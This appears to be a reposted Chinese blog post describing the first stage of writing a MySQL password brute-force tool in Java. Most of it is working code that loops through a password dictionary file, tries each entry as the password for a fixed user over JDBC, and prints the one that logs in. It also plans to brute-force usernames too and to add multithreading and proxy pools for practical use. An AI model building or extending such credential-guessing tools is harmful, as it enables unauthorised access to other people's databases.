zoukankan      html  css  js  c++  java
  • 记--一个数据库密码爆破工具的成长历程(1)

    写一个数据库密码爆破工具

    目前完成:

    package jsp;
    
    import java.io.*;
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    
    public class sql {
        public static void main(String[] args) throws IOException {
            String path = "";
            File file = new File("C://a/password.txt");
            StringBuilder result = new StringBuilder();
            try {
                BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
    
                String s = null;
                while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                    result.append(System.lineSeparator() + s);
                    try {
                        Class.forName("com.mysql.jdbc.Driver");
                        String url = "jdbc:mysql:///db1";
                        String username = "root1";
                        String password = s;
                        Connection conn = DriverManager.getConnection(url,username,password);
                        System.out.println("密码正确");
                        System.out.println("正确密码是"+s);
                    } catch (ClassNotFoundException | SQLException e) {
                        System.out.println("密码错误");
                    }
                }
                br.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

    上面的代码,完成了下面几件事。

    1. 首先,先确定了字典的位置,然后使用循环逐行读取字典的内容。
    2. 利用try--catch来将登陆成功和失败区分
    3. 最后在登录成功之后,使用输出语句,将密码打印出来。

    代码思路分析

    想要写一个数据库密码爆破工具,首先在代码里面,我们肯定需要进行数据库的连接,也就是下面的这段代码。

    Class.forName("com.mysql.jdbc.Driver");
    String url = "jdbc:mysql:///db1";                    
    String username = "root1"
    String password = "password";
    Connection conn = DriverManager.getConnection(url,username,password);
    

    学过jdbc的看懂这段代码没啥问题,但是要考虑一点,我们的目的是为了写一个数据库密码的爆破工具,利用burp进行弱口令爆破的时候,我们需要进行的操作是将需要变换的值变成变量。java里面显然是无法这么智能,但是也能让我们理清一条思路,就是我们想要完成数据库密码的爆破,首先,我们需要设置一个循环,让这个获取连接的操作不断进行,利用连接成功和失败的不同反馈来判断连接是否成功。

    不断进行同一个操作,我们就需要用到循环。

    判断连接是否成功,我们就需要用到if判断。当然,因为我们连接数据库是利用了try--catch来进行的,而数据库的连接会报错,所以我们可以利用try--catch来进行判断,而不需要自己写一个循环。

    所以,代码就会变成这个样子。

    for (int i = 0; i < 1000; i++) {
                try {
                    Class.forName("com.mysql.jdbc.Driver");
                    String url = "jdbc:mysql:///db1";
                    String username = "root1";
                    String password = "password";
                    Connection conn = DriverManager.getConnection(url,username,password);
                    System.out.println("密码正确,登录成功");
                } catch (ClassNotFoundException | SQLException e) {
                    System.out.println("密码错误,登录失败");
                }
            }
     }
    

    达到这一步之后,运行代码可以得到的结果是,虽然目前完成了密码的判断和循环操作,但是首先,我们的循环次数不应该定义成一个固定值,因为假设我们登录成功之后,就不需要继续往下继续循环,而且,字典的长度如果达不到循环定义的最大值,也会出现问题。

    而在这一步完成之后,还有一点需要考虑的是,我们不能每运行一次代码,就手动的修改一次密码。这跟我们自己测试账号密码的没有任何区别。

    所以下一步我们要做的就是,优化循环次数,将密码从文件中导入到代码里面。

     	   String path = "C://a/password.txt";
            File file = new File(path);
            StringBuilder result = new StringBuilder();
            try {
                BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
    
                String s = null;
                while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                    result.append(System.lineSeparator() + s);
                    try {
                        Class.forName("com.mysql.jdbc.Driver");
                        String url = "jdbc:mysql:///db1";
                        String username = "root1";
                        String password = s;
                        Connection conn = DriverManager.getConnection(url,username,password);
                        System.out.println("密码正确");
                        System.out.println("正确密码是"+s);
                    } catch (ClassNotFoundException | SQLException e) {
                        System.out.println("密码错误");
                    }
                }
                br.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
    

    这里,我本来是想利用FileInputStream来完成这一步的,但是我找了一些之前写的文章,发现我并没有办法使用FIleInputStream来完成一个动态读取单行的字符。

    所以我在网上找了另外一种方式,经过测试之后发现确实有效,因为这种方法我了解的并不多,只是测试之后发现代码可以使用,所以这里就不多解释。

    而目前,所能达到的效果是,通过修改path的值,可以修改每次爆破使用的字典。

    循环也可以完成读取到字典的最后一行就截至,不会在字典结束之后依然继续运行。

    通过connection对象获取成功和失败的不同表现,也可以在字典中获取到正确的密码。

    优化思路

    刚才的代码其实也可以发现,想要使用这个工具,必须要有一定的代码功底,这就导致了代码的适用性不是特别强。

    比如说字典的位置的定义,数据库位置的定义,用户名不变,单纯的爆破密码。所以,如果这些内容是可以通过用户输入控制的,就能大大增加适用性。

    目前想到的优化:

    1. 使用scanner从控制台读取字典位置和数据库位置
    2. 在控制台输出密码使用起来还是不太方便,将正确的密码通过字节流写入到一个文档中。
    3. 密码都写了,不妨吧数据库的地址和账号密码一起写入。
    4. 目前爆破仅限于密码,所以后面可以设计循环嵌套将账户密码一起爆破。
    5. 爆破目前使用的是单线程,所以为了后期的实用性,会加上多线程和代理池。
    6. 代码格式的文件对很多人来说使用还是不够方便,所以图形化界面也是需要进行的。

    实施过程

    有了优化思路,就要开始实施,因为目前暂时没打算做图形化的页面,所以用户指定字典位置和数据库地址我打算从控制台读取。至于后面改造成图形化之后要怎么使用,另外再说。

    1. 优化第一步,使用scanner从控制台读取字典位置和数据库位置。
    package jsp;
    
    import java.io.*;
    import java.sql.Connection;
    import java.sql.DriverManager;
    import java.sql.SQLException;
    import java.util.Scanner;
    
    public class sql {
        public static void main(String[] args) throws IOException {
            Scanner sc1 = new Scanner(System.in);
            System.out.println("请输入爆破字典地址(绝对路径)");
            String zdadd = sc1.next();
            Scanner sc2 = new Scanner(System.in);
            System.out.println("请输入数据库地址(jdbc格式)");
            String sqladd = sc2.next();
            String path = zdadd;
            File file = new File(path);
            StringBuilder result = new StringBuilder();
            try {
                BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(file), "UTF-8"));//构造一个BufferedReader类来读取文件
    
                String s = null;
                while ((s = br.readLine()) != null) {//使用readLine方法,一次读一行
                    result.append(System.lineSeparator() + s);
                    try {
                        Class.forName("com.mysql.jdbc.Driver");
                        String url = sqladd;
                        String username = "root1";
                        String password = s;
                        Connection conn = DriverManager.getConnection(url,username,password);
                        System.out.println("密码正确");
                        System.out.println("正确密码是"+s);
                    } catch (ClassNotFoundException | SQLException e) {
                        System.out.println("密码错误");
                    }
                }
                br.close();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

    在做到这一步优化的时候,我突然想到,jdbc可能也不会每个人都能理解,所以,在格式上,可能会出现问题,并且,之前在学jdbc的时候,有学过吧注册驱动,配置连接这些步骤写入到配置文件中,当需要修改的时候,只需要修改配置文件,读取的数据的时候,则从配置文件中读取。

    这个可能在这个地方不太适用,但可能也是后期优化的一个点。

  • 相关阅读:
    MyBatis原理分析
    oracle修改数据遇到的坑
    oracle查询时遇到的坑
    maven镜像
    易错题
    binlog2sql 安装使用
    Archery SQL审核平台搭建
    Docker安装
    夜莺n9e监控搭建
    influxdb安装
  • 原文地址:https://www.cnblogs.com/Xiaoming0/p/14118364.html
Copyright © 2011-2022 走看看